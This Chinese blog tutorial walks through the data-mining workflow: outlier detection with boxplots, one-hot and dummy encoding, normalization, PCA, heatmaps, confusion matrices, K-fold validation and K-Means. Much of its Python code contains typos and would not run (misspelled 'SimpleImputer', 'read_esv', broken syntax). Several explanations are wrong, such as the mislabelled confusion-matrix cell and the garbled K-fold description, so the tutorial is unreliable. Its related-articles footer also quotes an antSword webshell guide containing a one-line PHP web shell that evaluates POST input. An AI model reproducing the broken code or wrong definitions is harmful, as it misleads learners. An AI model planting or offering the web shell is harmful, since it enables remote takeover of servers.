数据挖掘全流程解析

数据挖掘全流程解析

数据指标选择

在这一阶段,使用直方图和柱状图的方式对数据进行分析,观察什么数据属性对于因变量会产生更加明显的结果。

如何绘制直方图和条形统计图

数据清洗

观察数据是否存在数据缺失或者离群点的情况。

数据异常的两种情况 :

1、不完整(缺少属性值)

2、含有噪音数据(错误或者离群)

缺失数据的处理方法:

1、忽略元组(当每个属性的缺失值比例比较大时,效果非常差,直接删除处理)

2、手动填写缺失值(工作量会比较大)

3、自动填写(使用属性的缺失值进行填充,仅对于连续性数值类型的数值适用),假如数据是离散标签类型数据,则使用相应的众数进行填充。

噪音数据的处理方法(使用3sigma原则或者箱线图发现离群点,再进行删除操作):

1、正态分布的3sigma原则

2、箱线图进行监测,发现离群数据,进一步删除离群点(箱线图又称为五分位图)其中含有离群点、最大值、最小值、四分之一位数、四分之三位数、中位数。

 

 上述图中的最小值和最大值不一定会指的是数据中的真正的最小值和最大值,因为数据中真正的最小值和最大值可能是离群点。怎样求最小值和最大值捏?使用下面公式进行判断:

我们计四分之一位数为Q1,四分之三位数为Q3。

首先计算四分之一极差:

四分之一极差 IQR=Q3-Q1

最大值=Q3+1.5*极差

最小值=Q1-1.5*极差

 离群点:通常情况下的一个值高于1.5倍的极差或者低于1.5倍的极差。.

使用下面代码即可绘制箱线图

import pandas as pd
import numpy as np
import matplotlib.pyplot as pl
from sklearn.impute import Simplelmputer
data url = "train.csv"
df= pd.read_csv(data_url)
imp = SimpleImputer(missing_values = np.nan, strategy = 'mean')
imp.fit(df.iloc[:,5:6))
pl.boxplot(imp.transform(df.iloc[:,5:6])
pl.xlabel('data')
pl.show()

 

 

数据转换

数据中既有字符串也有数值、且数值量纲不统一。

需要统一化:字符数值统一化

需要规范化:统一量纲

离散数据特征的二进制编码

对于标称类(无序)离散数据连续化特征构造通常采用二进制编码方法

对于序数类离散数据连续化特征构造可以直接使用[0,m-1]的整数

数据规范化

最小最大规范化:

z-分数规范化:

小数定标:移动属性A的小数点位置(移动位数依赖于属性A的最大值)v'=v/10^j    , j为使Max(|v'|)<1的最小整数

二进制编码方式

(1)代码实现sklearn中的OneHotEncoder(独热编码)->二进制中只允许一位为1

import pandas as pd
from sklearn import preprocessing
data_url = "train.csv"
df= pd.read_esv(data_url)
X = df.iloc[:,4:5]
enc = preprocessing.OneHotEncoder()
y = enc.fit_transform(X).toarray()
print(y)

 

上述代码是将序数类型的数据编码成[0,m-1]范围内的整数

 哑编码(允许多个位为一)

哑编码需要更少的二进制编码,独热编码需要更多的二进制编码(因为独热编码只允许一个二进制为1,所以没有哑编码的表现力那么强,需要更多的二进制编码)。

import pandas as pd
data_url = "train.csv"
df = pd.read_csv(data_url)
X = df.iloc[:,11:12]
y = pd.get_dummies(X,drop_first=True)
print(y)

drop_first=True  为哑编码

drop_first=False 为独热编码

上面的代码既可以做独热编码也可以做哑编码

两种规范化函数

最小最大规范化函数

from sklearn import preprocessing
data_url = "train.csv"
df= pd.read_csv(data_url)
imp = Simplelmputer(missing_values = np.nan, strategy = 'mean')
imp.fit(df.iloc[:,5:6])
X = imp.transform(df.iloc[:,5:6])
min_max_scaler = preprocessing.MinMaxScaler()
X_train_minmax = min_max_scaler.fit_transform(X)
print(X_train_minmax)

当获得的数据属于数值类型数据时,可以在建模之前使用最小最大规范化函数对量纲作一个统一。同时,我们也可以使用下面的方法进行量纲的统一。

z得分规范化 

import pandas as pd
import numpy as np
from sklearn.impute import Simplelmputer
from sklearn import preprocessing
data_url = "train.csv"
df= pd.read_csv(data_url)
imp = Simplelmputer(missing_values = np.nan, strategy = 'mean')
imp.fit(df.iloc[:,5:6])
X = imp.transform(df.iloc[:,5:6])
scaler = preprocessing.scale(X)
print(scaler)

数据降维

散点图分析(如何绘制散点图)

用来显示两组数据的相关性分布

 

PCA(主成分分析)

直观理解(坐标轴的旋转)

 在普通的XY轴坐标系,我们对每个点求方差,会发现方差比较大,也就意味着在X、Y轴上的信息量都比较大。因此不管舍弃哪一维都会损失数据的信息量。

通过PCA旋转,我们可以看到下面的图片,在长轴上数据的方差依然非常大,但是在短轴上方差非常小。方差小说明信息量就比较小。在这时,假如我们保留长轴数据,去掉短轴数据,对数据量的丢失也不会出现很明显的现象。

总的来说,PCA分析法就是通过坐标轴的旋转,将每个坐标轴信息量比较大的数据,经过旋转,使得在长轴上的信息量比较大。短轴上的信息量比较小。(实现了一种线性变换)

最终得到的结果形如

Z1=0.78*x1+0.01*x2+0.56*x3+0.067*x4

Z2=0.086*x1+0.76*x2+0.45*x3+0.97*x4

上面的主成分Z1、Z2分别由原来的四维数据(四种变量)降维得到。我们可以看到对于上面的二维数据我们可以看出来每种主成分中对应的变量的权值系数的不同。

权值系数的求解过程(了解即可):
对数据的相关矩阵求特征值特征向量,最后得到相应的权值

from sklearn.decomposition import PCA
import pandas as pd
data_url = "iris_train.csv"
df= pd.read_csv(data_url)
X = df.iloc[:,1:5]
y=df.iloc[:,5]
pca = PCA(n_components=4)
pca.fit(X)
print(pca.explained_variance_ratio_)

绘制相关性矩阵图片(热力图)

使用热力图可以对相关性进行更清晰的描述和直观理解

import pandas as pd
import seaborn as sns
import matplotlib.pyplot as plt
train csv ='trainOX.csv'
train data = pdread csv(train_csv)
train data.drop(['ID','date','hour'],axis=1,inplace=True)
corrmat = train_data.corr()
f;ax = plt.subplots(figsize=(12,8))
sns.heatmap(corrmat, vmax=0.8, square=True)
plt.show()

 

 准确率评价

混淆矩阵

对于准确率的评价可以使用混淆矩阵的方法进行评估

 

 上述公式是准确率的计算公式

对应的左侧对应一列为样本中数据的真实类别。上边一行对应的是样本中数据的预测数据。

a对应的又称为真阳例(True Positive)、b对应的又称为假阴例(False Negative)、c对应的又称为假阳例(False Negative)、d对应的为真阴例(True Negative)。

对于各个类别的相关解释:

真阳例:指的是实际数据与预测数据结果相同的情况,数据本身为正类,我们把它预测为正类。(比如一部分用户是生病的,我们将其也预测为生病的,这样的用户数目即为真阳例)

假阴例:一个用户是生病的,但是通过模型预测的结果是没有生病的。

假阳例:本身是一个没有生病的客户,但是通过模型进行预测的结果为一个生病的客户,故为假阳例。

真阴例:客户没有生病,使用模型进行预测也没有生病。

显而易见上述混淆矩阵中,TP与TN是预测正确的(本身是正确的和本身不是正确的都预测准确了)。

对于数据检验部分,我们往往会将数据七三分为训练集和测试集两部分。

除此之外,我们往往也会使用K折交叉验证的方法对数据进行相关的验证。

K折交叉验证

在数据检验时,使用数据集中的倒数第k份数据进行检验,例如,第一次,使用倒数第1份数据进行检验;第二次检验,使用倒数第2份数据进行检验;第三次,使用倒数第3份数据进行检验....最多进行十折交叉验证。

知识点补充:

K-Means算法

优点

  1. 聚类时间快

  2. 当结果簇是密集的,而簇与簇之间区别明显时,效果较好

  3. 相对可扩展和有效,能对大数据集进行高效划分

缺点

  1. 用户必须事先指定聚类簇的个数

  2. 常常终止于局部最优

  3. 只适用于数值属性聚类(计算均值有意义)

  4. 对噪声和异常数据也很敏感

  5. 不同的初始值,结果可能不同

  6. 不适合发现非凸面形状的簇

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/82901.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

webpack基础知识八:说说如何借助webpack来优化前端性能?

一、背景 随着前端的项目逐渐扩大&#xff0c;必然会带来的一个问题就是性能 尤其在大型复杂的项目中&#xff0c;前端业务可能因为一个小小的数据依赖&#xff0c;导致整个页面卡顿甚至奔溃 一般项目在完成后&#xff0c;会通过webpack进行打包&#xff0c;利用webpack对前…

leetcode 33.搜索旋转排序数组

⭐️ 题目描述 &#x1f31f; leetcode链接&#xff1a;搜索旋转排序数组 ps&#xff1a; 本题是二分查找的变形&#xff0c;旋转排序数组之后其实会形成两个有序的区间。算出平均下标先判断是否与 target 相等&#xff0c;因为这样可以减少代码的冗余。如果前者不成立则使用平…

Godot 4 源码分析 - 文件读入编码处理

今天需要读入xml文件进行处理&#xff0c;结果读入一个带中文的文件时&#xff0c;出错了。当然程序还能运行&#xff0c;但编译器一直报错&#xff0c;而且XML解析也不正确 单步调试发现读入的内容出现乱码&#xff0c;具体逻辑&#xff1a; String FileAccess::get_as_text…

【肌电图信号分析】通道肌电图并查找收缩周期的数量、振幅、最大值和持续时间(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

React源码解析18(2)------ FilberNode,FilberRootNode结构关系

摘要 在上一篇&#xff0c;我们实现了通过JSX转换为ReactElement的方法&#xff0c;也看到了转换后React元素的结构。但是这个React元素&#xff0c;并不能很清楚的表达组件之间的关系&#xff0c;以及属性的处理。 所以在React内部&#xff0c;会将所有的React元素转换为Fil…

【Linux】详解进程状态之僵尸进程——孤儿进程

目录 &#x1f31e;专栏导读 &#x1f31b;什么是进程 ⭐什么是PCB&#xff1f; &#x1f31b;查看进程 &#x1f31b;如何通过系统调用查看进程PID &#x1f31b;fork &#x1f31e;认识进程状态 &#x1f31b;查看进程状态 &#x1f31b;R状态 ⭐例如&#xff1a…

VMware Workstation及CentOS-7虚机安装

创建新的虚机&#xff1a; 选择安装软件&#xff08;这里选的是桌面版&#xff0c;也可以根据实际情况进行选择&#xff09; 等待检查软件依赖关系 选择安装位置&#xff0c;自主配置分区 ​​​​​​​ 创建一个普通用户 安装完成后重启 点击完成配置&#xff0c;进入登陆界面…

怎么进行流程图制作?用这个工具制作很方便

怎么进行流程图制作&#xff1f;流程图是一种非常有用的工具&#xff0c;可以帮助我们更好地理解和展示各种复杂的业务流程和工作流程。它可以将复杂的过程简化为易于理解的图形和文本&#xff0c;使得人们更容易理解和跟踪整个流程。因此&#xff0c;制作流程图是在日常工作中…

拆解与重构:慕云游首页组件化设计

目录 前言1 项目准备1.1 创建项目目录1.2 搭建项目开发环境 2 项目组件化2.1 在当前环境启动原有项目2.2 顶部组件2.3 幻灯片组件2.3.1 功能实现2.3.2 加载中组件2.3.3 结构和样式2.3.4 使用Ajax获取数据 2.4 机酒自由行组件2.5 拆分余下的css文件 3 项目完善4 源码 前言 在现代…

如何使Python Docker镜像安全、快速、小巧

一、说明 在微服务领域&#xff0c;拥有安全、高效和紧凑的 Docker 映像对于成功部署至关重要。本博客将探讨有助于构建此类映像的关键因素&#xff0c;包括不以 root 用户身份运行映像的重要性、在构建映像时更新和升级包、在编写 Dockerfile 指令时考虑 Docker 的层架构&…

岩土工程仪器多通道振弦传感器信号转换器应用于桥梁安全监测

岩土工程仪器多通道振弦传感器信号转换器应用于桥梁安全监测 桥梁作为交通运输的重要节点&#xff0c;其安全性一直备受关注。不同于其他建筑物&#xff0c;桥梁所处的环境复杂多变&#xff0c;同时&#xff0c;其所需承受的负荷也相对较大&#xff0c;这就需要对桥梁的安全进…

Windows 安装 pandoc 将 jupyter 导出 pdf 文件

Windows 安装 pandoc 将 jupyter 导出 pdf 文件 1. 下载 pandoc 安装文件2. 安装 pandoc3. 安装 nbconvert4. 使用 pandoc 1. 下载 pandoc 安装文件 访问 https://github.com/jgm/pandoc/releases&#xff0c;下载最新版安装文件&#xff0c;例如&#xff0c;3.1.6.1 版&#…

常见分布式ID解决方案总结:数据库、算法、开源组件

常见分布式ID解决方案总结 分布式ID分布式ID方案之数据库数据库主键自增数据库号段模式Redis自增MongoDB 分布式ID方案之算法UUIDSnowflake(雪花算法) 雪花算法的使用IdWorker工具类配置分布式ID生成器 分布式ID方案之开源组件uid- generator(百度)Tinyid&#xff08;滴滴&…

基于Java的体育网站的设计与实现(论文+源码)_kaic

基于Java的体育网站的设计与实现 摘 要&#xff1a;在网络应用的迅速发展与科技的不断进步的现代环境下&#xff0c;人们生活节奏越来越快&#xff0c;娱乐方式也多种多样&#xff0c;各种软件应用&#xff0c;各种娱乐&#xff0c;购物网站已经成为必不可少的伴随品&#xff…

《24海南大学835软件工程考研经验贴》

1.经验之谈 首先&#xff0c;我是一个二战的考生&#xff0c;一战给我带来的经验有几点。第一&#xff0c;数学、专业课这两门越早复习越好&#xff0c;越拖到后面你就会发现来不及了&#xff0c;这学不完&#xff0c;那学不完的。第二、我认为是比较关键的一点&#xff0c;一定…

Idea创建maven管理的web项目

如果你想在项目中添加一个传统的 src 目录来存放源代码&#xff0c;可以按照以下步骤操作&#xff1a; 1. 在项目视图中&#xff0c;右键单击项目名称&#xff0c;选择 “New” -> “Directory”。 2. 在弹出的对话框中&#xff0c;输入目录名称为 “src”&#xff0c;然后…

使用ffmpeg将m4a及wav等文件转换为MP3格式

要使用ffmpeg将m4a及wav等文件转换为MP3格式&#xff0c;您可以按照以下步骤进行操作&#xff1a; 安装 ffmpeg 确保您已经安装了ffmpeg软件。如果没有安装&#xff0c;请访问ffmpeg的官方网站https://ffmpeg.org/ 并按照说明进行安装。 Win10 / Win11 可以通过 winget 命令…

Vue自定义指令使用

本篇文章讲述使用Vue自定义指令&#xff0c;并在项目中完成相应功能。 在平常Vue脚手架项目中&#xff0c;使用到 自定义指令较少&#xff0c;一般都是使用的自带指令&#xff0c;比如 v-show 、v-if 、 v-for 、 v-bind 之类的。这些已经能够满足大多数项目使用。更多的可能也…

蚁剑antSword-maste下载-安装-使用-一句话木马

下载 https://github.com/AntSwordProject/antSword 一句话木马 hack.php脚本 <?php eval($_POST[attack]);?> 安装 1、安装完成后启动 2、初始化&#xff0c;选择有源码的目录 3、连接

SpringMVC的架构有什么优势?——视图与模型(二)

前言 「作者主页」&#xff1a;雪碧有白泡泡 「个人网站」&#xff1a;雪碧的个人网站 「推荐专栏」&#xff1a; ★java一站式服务 ★ ★ React从入门到精通★ ★前端炫酷代码分享 ★ ★ 从0到英雄&#xff0c;vue成神之路★ ★ uniapp-从构建到提升★ ★ 从0到英雄&#xff…